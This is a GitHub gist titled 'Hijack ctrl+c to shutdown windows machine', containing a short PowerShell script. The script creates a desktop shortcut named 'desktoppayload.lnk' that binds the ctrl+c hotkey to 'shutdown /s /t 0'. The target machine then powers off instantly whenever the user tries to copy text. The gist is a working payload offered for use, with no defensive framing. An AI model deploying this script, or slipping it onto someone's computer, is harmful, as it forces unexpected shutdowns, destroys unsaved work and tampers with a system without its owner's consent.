Skip to content

Instantly share code, notes, and snippets.

@jgamblin
Last active June 12, 2016 22:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jgamblin/9ca3be57c24d4b422e385d296763d903 to your computer and use it in GitHub Desktop.
Save jgamblin/9ca3be57c24d4b422e385d296763d903 to your computer and use it in GitHub Desktop.
Hijack ctrl+c to shutdown windows machine.
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("desktop\desktoppayload.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.hotkey = "ctrl+c"
$Shortcut.Arguments = 'shutdown /s /t 0'
$Shortcut.Save()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment